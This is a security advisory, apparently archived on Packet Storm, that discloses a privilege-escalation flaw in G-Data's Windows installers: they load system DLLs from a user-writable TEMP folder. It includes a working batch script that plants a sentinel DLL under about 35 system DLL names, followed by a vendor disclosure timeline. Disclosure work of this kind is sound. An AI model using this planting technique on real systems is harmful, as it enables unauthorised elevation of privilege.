what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

G-Data DLL Hijacking

G-Data DLL Hijacking
Posted Apr 18, 2016
Authored by Stefan Kanthak

G-Data security products suffer from a DLL hijacking vulnerability.

tags | exploit
systems | windows
SHA-256 | 29c328336f7c955d9cb79a397d3a0fdbdb4936d0cfcc3774ef65a1fcb51f5029

G-Data DLL Hijacking

Change Mirror Download
Hi @ll,

the executable installers of G-Data's "security" products for
Windows, available from <https://www.gdata.de/downloads>, allow
escalation of privilege!


The downloadable executables are self-extractors containing the
real executable installer as resource: they create the subdirectory
%TEMP%\{guidguid-guid-guid-guid-guidguidguid}
using another resource containing the hardcoded value of this GUID,
extract the real executable installer into it and finally start it.

The permissions of this subdirectory allow "full access" for the
unprivileged user who started the self-extractor, enabling him to
create arbitrary files in this subdirectory.

The real installer loads multiple Windows system DLLs from this
subdirectory instead of Windows' "system directory"
%SystemRoot%\System32\ and executes them with elevated rights.


On Windows 7:
dbghelp.dll, dnsapi.dll, oleacc.dll, netapi32.dll, netutils.dll,
srvcli.dll, wkscli.dll, version.dll, uxtheme.dll/dwmapi.dll,
cryptsp.dll, ncrypt.dll, bcrypt.dll, profapi.dll, msimg32.dll,
riched32.dll, iphlpapi.dll, winnsi.dll, rasapi32.dll, rasman.dll,
rtutils.dll, sensapi.dll, rasadhlp.dll, ntmarta.dll, ntshrui.dll,
cscapi.dll, slc.dll, windowscodecs.dll, apphelp.dll, mpr.dll,
userenv.dll, schannel.dll, credssp.dll, secur32.dll, gpapi.dll,
samcli.dll


See <https://cwe.mitre.org/data/definitions/379.html> for the well-
known and well-documented unsafe TEMP directory vulnerability, and
<https://cwe.mitre.org/data/definitions/426.html>,
<https://cwe.mitre.org/data/definitions/427.html> plus
<https://capec.mitre.org/data/definitions/471.html> for the well-
known and well-documented unsafe DLL search path vulnerability.


Proof of concept/demonstration:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1. visit <http://home.arcor.de/skanthak/sentinel.html>, download
<http://home.arcor.de/skanthak/download/SENTINEL.DLL> and save
it in your "Downloads" directory;

2. download "G DATA ANTIVIRUS" from <https://www.gdata.de/downloads>
and save it in your "Downloads" directory (the resulting file
is named G_DATA_AntiVirus.exe);

3. create the following file as SENTINEL.CMD in your "Downloads"
directory:

--- SENTINEL.CMD---
G_DATA_AntiVirus.exe

:LOOP
If Not Exist "%TEMP%\{1C2DF59B-0172-4ECB-9A25-7597A4A26A96}\INT_R_BASE_AV.exe" Goto :LOOP

For %%! In (dbghelp dnsapi oleacc netapi32 netutils srvcli wkscli
version uxtheme dwmapi cryptsp ncrypt bcrypt profapi
msimg32 riched32 iphlpapi winnsi rasapi32 rasman rtutils
sensapi rasadhlp ntmarta ntshrui cscapi slc windowscodecs
apphelp mpr userenv schannel credssp secur32 gpapi samcli) Do MkLink /H
"%TEMP%\{1C2DF59B-0172-4ECB-9A25-7597A4A26A96}\%%!.dll" "%~dpn0.dll"
--- EOF ---

4. run the batch script per double-click: it starts the downloaded
self-extractor and plants the DLLs for hijacking;

5. notice the message boxes displayed from the DLLs.

PWNED!


stay tuned
Stefan Kanthak


PS: I really LOVE (security) software with such trivial beginner's
errors. It's a tell-tale sign to better stay away from it!


Timeline:
~~~~~~~~~

2016-06-03 initial report sent to vendor: they provided their
real installers for download, allowing DLL hijacking
in the users "Downloads" directory

2016-03-06 vendor acknowledges receipt:
"At the moment we are exploring the best way to fix it."

2016-04-13 reply from vendor:
"We replaced all installers and tools in the download
area with secure versions."

2016-04-17 No, these "installers" are NOT secure, they use UNSAFE
temp directories and just shift the attack vector a
tiny little bit.

2016-04-18 reply from vendor:
"We assume that this is pure speculation."

2016-04-18 OUCH!
<https://bugzilla.mozilla.org/show_bug.cgi?id=811557>,
<https://code.google.com/p/google-security-research/issues/detail?id=440>

2016-04-18 reply from vendor:
"the attacker needs access to the system for that."

2016-04-18 report published
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    0 Files
  • 9
    Aug 9th
    0 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close